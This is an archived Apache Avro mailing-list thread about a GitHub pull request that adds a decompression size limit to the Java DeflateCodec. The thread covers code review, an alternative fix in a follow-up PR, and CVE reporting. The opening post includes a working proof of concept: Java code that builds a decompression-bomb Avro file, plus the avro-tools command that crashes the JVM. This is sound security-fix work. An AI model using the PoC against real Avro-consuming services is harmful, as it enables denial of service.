You are viewing a plain text version of this content. The canonical link for it is here.
Posted to dev@avro.apache.org by "OwenSanzas (via GitHub)" <gi...@apache.org> on 2026/01/14 10:32:06 UTC
[PR] [AVRO-4081] Add decompression size limit to prevent decompression bomb DoS [avro]
OwenSanzas opened a new pull request, #3625:
URL: https://github.com/apache/avro/pull/3625
## Summary
All Avro Java compression codecs (Deflate, Zstandard, XZ, BZip2, Snappy) decompress data without any size limit, allowing an attacker to craft a small Avro file (~50KB) that expands to an extremely large size (~50MB+), causing `OutOfMemoryError` and crashing the JVM.
## Root Cause
The codec implementations decompress data into unbounded `ByteArrayOutputStream` without checking the output size:
### Vulnerable Code (DeflateCodec.java:83)
```java
@Override
public ByteBuffer decompress(ByteBuffer data) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
// NO SIZE LIMIT - decompresses until OOM!
try (InflaterOutputStream ios = new InflaterOutputStream(baos, inflater)) {
ios.write(data.array(), computeOffset(data), data.remaining());
}
return ByteBuffer.wrap(baos.toByteArray());
}
```
## PoC
### Trigger file
A crafted `poc.avro` file (49KB) that decompresses to 50MB:
- Schema: `{"type":"record","name":"Payload","fields":[{"name":"data","type":"bytes"}]}`
- Codec: deflate (level 9)
- Payload: 50MB of zeros (compresses ~1000:1)
### How to generate poc.avro
```java
// CreatePoC.java
import org.apache.avro.Schema;
import org.apache.avro.file.CodecFactory;
import org.apache.avro.file.DataFileWriter;
import org.apache.avro.generic.GenericData;
import org.apache.avro.generic.GenericDatumWriter;
import org.apache.avro.generic.GenericRecord;
import java.io.File;
import java.nio.ByteBuffer;
public class CreatePoC {
public static void main(String[] args) throws Exception {
String SCHEMA = "{\"type\":\"record\",\"name\":\"Payload\",\"fields\":[" +
"{\"name\":\"data\",\"type\":\"bytes\"}]}";
Schema schema = new Schema.Parser().parse(SCHEMA);
DataFileWriter<GenericRecord> writer = new DataFileWriter<>(new GenericDatumWriter<>(schema));
writer.setCodec(CodecFactory.deflateCodec(9)); // Max compression
writer.create(schema, new File("poc.avro"));
// 50MB of zeros - compresses ~1000:1
byte[] payload = new byte[50 * 1024 * 1024];
GenericRecord record = new GenericData.Record(schema);
record.put("data", ByteBuffer.wrap(payload));
writer.append(record);
writer.close();
}
}
```
## Trigger Method: Official avro-tools CLI
```bash
java -Xmx32m -jar avro-tools-1.13.0-SNAPSHOT.jar tojson poc.avro
```
**Output:**
```
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
at java.base/java.util.Arrays.copyOf(Arrays.java:3541)
at java.base/java.io.ByteArrayOutputStream.ensureCapacity(ByteArrayOutputStream.java:100)
at java.base/java.io.ByteArrayOutputStream.write(ByteArrayOutputStream.java:132)
at java.base/java.util.zip.InflaterOutputStream.write(InflaterOutputStream.java:249)
at org.apache.avro.file.DeflateCodec.decompress(DeflateCodec.java:83)
at org.apache.avro.file.DataFileStream$DataBlock.decompressUsing(DataFileStream.java:381)
at org.apache.avro.file.DataFileStream.hasNext(DataFileStream.java:227)
at org.apache.avro.tool.DataFileReadTool.run(DataFileReadTool.java:96)
at org.apache.avro.tool.Main.run(Main.java:67)
at org.apache.avro.tool.Main.main(Main.java:56)
```
**Other affected avro-tools commands:** `cat`, `count`, `getmeta`, `getschema`, `concat`, `recodec`
## Impact
| Aspect | Details |
|--------|---------|
| **Type** | Denial of Service (DoS) |
| **Severity** | High |
| **Attack Vector** | Malicious Avro file |
| **Affected Components** | `DataFileReader`, `DataFileStream`, `avro-tools` |
| **Affected Codecs** | Deflate, Zstandard, XZ, BZip2, Snappy |
| **CWE** | CWE-409 (Improper Handling of Highly Compressed Data) |
## This PR
This PR adds a maximum decompression size limit (default 200MB) to `DeflateCodec.java`. The limit can be configured via system property `org.apache.avro.limits.decompress.maxLength`.
**Note:** Other codecs (`ZstandardCodec`, `XZCodec`, `BZip2Codec`, `SnappyCodec`) have the same issue. We can discuss the fix for those in follow-up.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: dev-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] AVRO-4247: Add decompression size limit to prevent decompression issues [avro]
Posted by "OwenSanzas (via GitHub)" <gi...@apache.org>.
OwenSanzas commented on PR #3625:
URL: https://github.com/apache/avro/pull/3625#issuecomment-4364521839
Oh Thank you so much!
@RyanSkraba Is there any chance to get a CVE number for this?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] Add decompression size limit to prevent decompression bomb DoS [avro]
Posted by "OwenSanzas (via GitHub)" <gi...@apache.org>.
OwenSanzas commented on code in PR #3625:
URL: https://github.com/apache/avro/pull/3625#discussion_r2691899239
##########
lang/java/avro/src/main/java/org/apache/avro/file/DeflateCodec.java:
##########
@@ -38,6 +39,20 @@
public class DeflateCodec extends Codec {
private static final int DEFAULT_BUFFER_SIZE = 8192;
+ private static final String MAX_DECOMPRESS_LENGTH_PROPERTY = "org.apache.avro.limits.decompress.maxLength";
+ private static final long DEFAULT_MAX_DECOMPRESS_LENGTH = 200L * 1024 * 1024; // 200MB default limit
+
+ private static long getMaxDecompressLength() {
+ String prop = System.getProperty(MAX_DECOMPRESS_LENGTH_PROPERTY);
+ if (prop != null) {
+ try {
+ return Long.parseLong(prop);
Review Comment:
Done. Added validation for <= 0 values with warning log.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] AVRO-4247: Add decompression size limit to prevent decompression issues [avro]
Posted by "RyanSkraba (via GitHub)" <gi...@apache.org>.
RyanSkraba closed pull request #3625: AVRO-4247: Add decompression size limit to prevent decompression issues
URL: https://github.com/apache/avro/pull/3625
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: dev-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] Add decompression size limit to prevent decompression bomb DoS [avro]
Posted by "OwenSanzas (via GitHub)" <gi...@apache.org>.
OwenSanzas commented on PR #3625:
URL: https://github.com/apache/avro/pull/3625#issuecomment-3751545210
@martin-g All changes are done. Please let me know if you have any concerns :). Thanks for your guidance!
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] Add decompression size limit to prevent decompression bomb DoS [avro]
Posted by "martin-g (via GitHub)" <gi...@apache.org>.
martin-g commented on code in PR #3625:
URL: https://github.com/apache/avro/pull/3625#discussion_r2690697321
##########
lang/java/avro/src/main/java/org/apache/avro/file/DeflateCodec.java:
##########
@@ -38,6 +39,20 @@
public class DeflateCodec extends Codec {
private static final int DEFAULT_BUFFER_SIZE = 8192;
+ private static final String MAX_DECOMPRESS_LENGTH_PROPERTY = "org.apache.avro.limits.decompress.maxLength";
+ private static final long DEFAULT_MAX_DECOMPRESS_LENGTH = 200L * 1024 * 1024; // 200MB default limit
+
+ private static long getMaxDecompressLength() {
+ String prop = System.getProperty(MAX_DECOMPRESS_LENGTH_PROPERTY);
+ if (prop != null) {
+ try {
+ return Long.parseLong(prop);
+ } catch (NumberFormatException e) {
+ // Use default
Review Comment:
This probably should be logged as a WARNING.
##########
lang/java/avro/src/main/java/org/apache/avro/file/DeflateCodec.java:
##########
@@ -38,6 +39,20 @@
public class DeflateCodec extends Codec {
private static final int DEFAULT_BUFFER_SIZE = 8192;
+ private static final String MAX_DECOMPRESS_LENGTH_PROPERTY = "org.apache.avro.limits.decompress.maxLength";
+ private static final long DEFAULT_MAX_DECOMPRESS_LENGTH = 200L * 1024 * 1024; // 200MB default limit
+
+ private static long getMaxDecompressLength() {
+ String prop = System.getProperty(MAX_DECOMPRESS_LENGTH_PROPERTY);
+ if (prop != null) {
+ try {
+ return Long.parseLong(prop);
Review Comment:
This will also accept a negative and 0 as values which are not very sensible.
Probably these should be reported earlier here ?!
##########
lang/java/avro/src/main/java/org/apache/avro/file/DeflateCodec.java:
##########
@@ -78,10 +93,32 @@ public ByteBuffer compress(ByteBuffer data) throws IOException {
@Override
public ByteBuffer decompress(ByteBuffer data) throws IOException {
+ long maxLength = getMaxDecompressLength();
NonCopyingByteArrayOutputStream baos = new NonCopyingByteArrayOutputStream(DEFAULT_BUFFER_SIZE);
- try (OutputStream outputStream = new InflaterOutputStream(baos, getInflater())) {
- outputStream.write(data.array(), computeOffset(data), data.remaining());
+ byte[] buffer = new byte[DEFAULT_BUFFER_SIZE];
+ long totalBytes = 0;
+
+ Inflater inflater = getInflater();
+ inflater.setInput(data.array(), computeOffset(data), data.remaining());
+
+ try {
+ while (!inflater.finished()) {
+ int len = inflater.inflate(buffer);
+ if (len == 0 && inflater.needsInput()) {
+ break;
+ }
+ totalBytes += len;
+ if (totalBytes > maxLength) {
+ throw new AvroRuntimeException(
Review Comment:
```suggestion
throw new IOException(
```
The method declares that it throws IOException when there are problems.
##########
lang/java/avro/src/main/java/org/apache/avro/file/DeflateCodec.java:
##########
@@ -78,10 +93,32 @@ public ByteBuffer compress(ByteBuffer data) throws IOException {
@Override
public ByteBuffer decompress(ByteBuffer data) throws IOException {
+ long maxLength = getMaxDecompressLength();
NonCopyingByteArrayOutputStream baos = new NonCopyingByteArrayOutputStream(DEFAULT_BUFFER_SIZE);
- try (OutputStream outputStream = new InflaterOutputStream(baos, getInflater())) {
- outputStream.write(data.array(), computeOffset(data), data.remaining());
+ byte[] buffer = new byte[DEFAULT_BUFFER_SIZE];
+ long totalBytes = 0;
+
+ Inflater inflater = getInflater();
+ inflater.setInput(data.array(), computeOffset(data), data.remaining());
+
+ try {
+ while (!inflater.finished()) {
+ int len = inflater.inflate(buffer);
+ if (len == 0 && inflater.needsInput()) {
+ break;
+ }
+ totalBytes += len;
+ if (totalBytes > maxLength) {
+ throw new AvroRuntimeException(
+ "Decompressed size " + totalBytes + " exceeds maximum allowed size " + maxLength
Review Comment:
```suggestion
"Decompressed size " + totalBytes + " (bytes) exceeds maximum allowed size " + maxLength
```
##########
lang/java/avro/src/main/java/org/apache/avro/file/DeflateCodec.java:
##########
@@ -78,10 +93,32 @@ public ByteBuffer compress(ByteBuffer data) throws IOException {
@Override
public ByteBuffer decompress(ByteBuffer data) throws IOException {
+ long maxLength = getMaxDecompressLength();
Review Comment:
There is no need to call this method on every `decompress()`.
You can read it once in a `static {...}` block and reuse it.
##########
lang/java/avro/src/main/java/org/apache/avro/file/DeflateCodec.java:
##########
@@ -78,10 +93,32 @@ public ByteBuffer compress(ByteBuffer data) throws IOException {
@Override
public ByteBuffer decompress(ByteBuffer data) throws IOException {
+ long maxLength = getMaxDecompressLength();
NonCopyingByteArrayOutputStream baos = new NonCopyingByteArrayOutputStream(DEFAULT_BUFFER_SIZE);
- try (OutputStream outputStream = new InflaterOutputStream(baos, getInflater())) {
- outputStream.write(data.array(), computeOffset(data), data.remaining());
+ byte[] buffer = new byte[DEFAULT_BUFFER_SIZE];
+ long totalBytes = 0;
+
+ Inflater inflater = getInflater();
+ inflater.setInput(data.array(), computeOffset(data), data.remaining());
+
+ try {
+ while (!inflater.finished()) {
+ int len = inflater.inflate(buffer);
+ if (len == 0 && inflater.needsInput()) {
+ break;
+ }
+ totalBytes += len;
+ if (totalBytes > maxLength) {
+ throw new AvroRuntimeException(
+ "Decompressed size " + totalBytes + " exceeds maximum allowed size " + maxLength
+ + ". This can be configured by setting the system property " + MAX_DECOMPRESS_LENGTH_PROPERTY);
Review Comment:
```suggestion
+ ". This can be configured by setting the system property '" + MAX_DECOMPRESS_LENGTH_PROPERTY + "'");
```
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] Add decompression size limit to prevent decompression bomb DoS [avro]
Posted by "OwenSanzas (via GitHub)" <gi...@apache.org>.
OwenSanzas commented on code in PR #3625:
URL: https://github.com/apache/avro/pull/3625#discussion_r2691898600
##########
lang/java/avro/src/main/java/org/apache/avro/file/DeflateCodec.java:
##########
@@ -38,6 +39,20 @@
public class DeflateCodec extends Codec {
private static final int DEFAULT_BUFFER_SIZE = 8192;
+ private static final String MAX_DECOMPRESS_LENGTH_PROPERTY = "org.apache.avro.limits.decompress.maxLength";
+ private static final long DEFAULT_MAX_DECOMPRESS_LENGTH = 200L * 1024 * 1024; // 200MB default limit
+
+ private static long getMaxDecompressLength() {
+ String prop = System.getProperty(MAX_DECOMPRESS_LENGTH_PROPERTY);
+ if (prop != null) {
+ try {
+ return Long.parseLong(prop);
+ } catch (NumberFormatException e) {
+ // Use default
Review Comment:
Done. Added LOG.warn() for NumberFormatException.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] AVRO-4247: Add decompression size limit to prevent decompression issues [avro]
Posted by "steveloughran (via GitHub)" <gi...@apache.org>.
steveloughran commented on code in PR #3625:
URL: https://github.com/apache/avro/pull/3625#discussion_r3129788869
##########
lang/java/avro/src/main/java/org/apache/avro/file/DeflateCodec.java:
##########
@@ -79,9 +108,30 @@ public ByteBuffer compress(ByteBuffer data) throws IOException {
@Override
public ByteBuffer decompress(ByteBuffer data) throws IOException {
NonCopyingByteArrayOutputStream baos = new NonCopyingByteArrayOutputStream(DEFAULT_BUFFER_SIZE);
- try (OutputStream outputStream = new InflaterOutputStream(baos, getInflater())) {
- outputStream.write(data.array(), computeOffset(data), data.remaining());
+ byte[] buffer = new byte[DEFAULT_BUFFER_SIZE];
+ long totalBytes = 0;
+
+ Inflater inflater = getInflater();
+ inflater.setInput(data.array(), computeOffset(data), data.remaining());
+
+ try {
+ while (!inflater.finished()) {
+ int len = inflater.inflate(buffer);
+ if (len == 0 && inflater.needsInput()) {
+ break;
+ }
+ totalBytes += len;
Review Comment:
Better to push the limit logic into NonCopyingByteArrayOutputStream, so all decompressors would share the checks; no need to duplicate the overflow logic, just instantiate the baos with the (shared) limit value.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] Add decompression size limit to prevent decompression bomb DoS [avro]
Posted by "thiru-mg (via GitHub)" <gi...@apache.org>.
thiru-mg commented on PR #3625:
URL: https://github.com/apache/avro/pull/3625#issuecomment-3756036992
This Java PR is linked to https://issues.apache.org/jira/browse/AVRO-4081, which is a C++ issue. Can someone link this to the correct issue in JIRA?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] Add decompression size limit to prevent decompression bomb DoS [avro]
Posted by "OwenSanzas (via GitHub)" <gi...@apache.org>.
OwenSanzas commented on PR #3625:
URL: https://github.com/apache/avro/pull/3625#issuecomment-3756740348
@thiru-mg I am sorry the commit msg was wrongly linked to this problem. Maybe it will be fine if we fix it in the msg of 'squash and merge' option.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] Add decompression size limit to prevent decompression bomb DoS [avro]
Posted by "OwenSanzas (via GitHub)" <gi...@apache.org>.
OwenSanzas commented on PR #3625:
URL: https://github.com/apache/avro/pull/3625#issuecomment-3748922804
This is also a quick fix. I see some other modules have the same pattern.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] Add decompression size limit to prevent decompression bomb DoS [avro]
Posted by "OwenSanzas (via GitHub)" <gi...@apache.org>.
OwenSanzas commented on code in PR #3625:
URL: https://github.com/apache/avro/pull/3625#discussion_r2691897832
##########
lang/java/avro/src/main/java/org/apache/avro/file/DeflateCodec.java:
##########
@@ -78,10 +93,32 @@ public ByteBuffer compress(ByteBuffer data) throws IOException {
@Override
public ByteBuffer decompress(ByteBuffer data) throws IOException {
+ long maxLength = getMaxDecompressLength();
Review Comment:
Good advice! Changed to static block initialization with MAX_DECOMPRESS_LENGTH field.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] AVRO-4247: Add decompression size limit to prevent decompression issues [avro]
Posted by "iemejia (via GitHub)" <gi...@apache.org>.
iemejia commented on PR #3625:
URL: https://github.com/apache/avro/pull/3625#issuecomment-4254096772
Hi @OwenSanzas I was able to reproduce your finding and I think we should fix it. Do you have an Apache JIRA user to assign you as the bug reporter?
I created an issue in Jira to track it
https://issues.apache.org/jira/browse/AVRO-4247
I also worked on what would be the next step after what you did. I hope if you are ok if I open a continuation PR that includes your commit so we can include this fix in our upcoming release.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] AVRO-4247: Add decompression size limit to prevent decompression issues [avro]
Posted by "iemejia (via GitHub)" <gi...@apache.org>.
iemejia commented on PR #3625:
URL: https://github.com/apache/avro/pull/3625#issuecomment-4374713112
@OwenSanzas we definitely need to get this evaluated for a CVE, and if so get the you as the attributed reporter. Can you help us following parts that correspond to the reporter from this procedure:
https://security.apache.org/report-code/
https://apache.org/security/committers.html
Please CC private@avro.apache.org when you submit the report. since you seem to be familiar with security can you help us with a description and the right classification following the CVE format (like this https://www.cve.org/CVERecord?id=CVE-2025-33042)
Thanks!
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] AVRO-4247: Add decompression size limit to prevent decompression issues [avro]
Posted by "iemejia (via GitHub)" <gi...@apache.org>.
iemejia commented on PR #3625:
URL: https://github.com/apache/avro/pull/3625#issuecomment-4254079009
> This Java PR is linked to https://issues.apache.org/jira/browse/AVRO-4081, which is a C++ issue. Can someone link this to the correct issue in JIRA?
Done @thiru-mg
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] AVRO-4247: Add decompression size limit to prevent decompression issues [avro]
Posted by "steveloughran (via GitHub)" <gi...@apache.org>.
steveloughran commented on PR #3625:
URL: https://github.com/apache/avro/pull/3625#issuecomment-4337146981
FYI, I've taken this PR and moved where the checks is (as suggested in my review) so that all decompressors (and all future ones) will share the check. Will make it easy to test too.
#3745
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] AVRO-4247: Add decompression size limit to prevent decompression issues [avro]
Posted by "RyanSkraba (via GitHub)" <gi...@apache.org>.
RyanSkraba commented on PR #3625:
URL: https://github.com/apache/avro/pull/3625#issuecomment-4358265427
@OwenSanzas It looks like your implementation is appropriate, but we'll probably go with PR #3745 for the wider coverage. @steveloughran has your commits in his history so you'll show up as coauther :heart: I'm going to close this PR but we'll get this fix into the next release! Thanks so much for catching this.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] Add decompression size limit to prevent decompression bomb DoS [avro]
Posted by "martin-g (via GitHub)" <gi...@apache.org>.
martin-g commented on code in PR #3625:
URL: https://github.com/apache/avro/pull/3625#discussion_r2690730758
##########
lang/java/avro/src/main/java/org/apache/avro/file/DeflateCodec.java:
##########
@@ -78,10 +93,32 @@ public ByteBuffer compress(ByteBuffer data) throws IOException {
@Override
public ByteBuffer decompress(ByteBuffer data) throws IOException {
+ long maxLength = getMaxDecompressLength();
NonCopyingByteArrayOutputStream baos = new NonCopyingByteArrayOutputStream(DEFAULT_BUFFER_SIZE);
- try (OutputStream outputStream = new InflaterOutputStream(baos, getInflater())) {
- outputStream.write(data.array(), computeOffset(data), data.remaining());
+ byte[] buffer = new byte[DEFAULT_BUFFER_SIZE];
+ long totalBytes = 0;
+
+ Inflater inflater = getInflater();
+ inflater.setInput(data.array(), computeOffset(data), data.remaining());
+
+ try {
+ while (!inflater.finished()) {
+ int len = inflater.inflate(buffer);
+ if (len == 0 && inflater.needsInput()) {
+ break;
+ }
+ totalBytes += len;
+ if (totalBytes > maxLength) {
+ throw new AvroRuntimeException(
Review Comment:
```suggestion
throw new IOException(
```
The method declares that it throws IOException when there are problems.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] AVRO-4247: Add decompression size limit to prevent decompression issues [avro]
Posted by "OwenSanzas (via GitHub)" <gi...@apache.org>.
OwenSanzas commented on PR #3625:
URL: https://github.com/apache/avro/pull/3625#issuecomment-4414544964
@iemejia Thanks a lot! I have just submitted my report to ASF security and cced AVRO security.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: issues-unsubscribe@avro.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org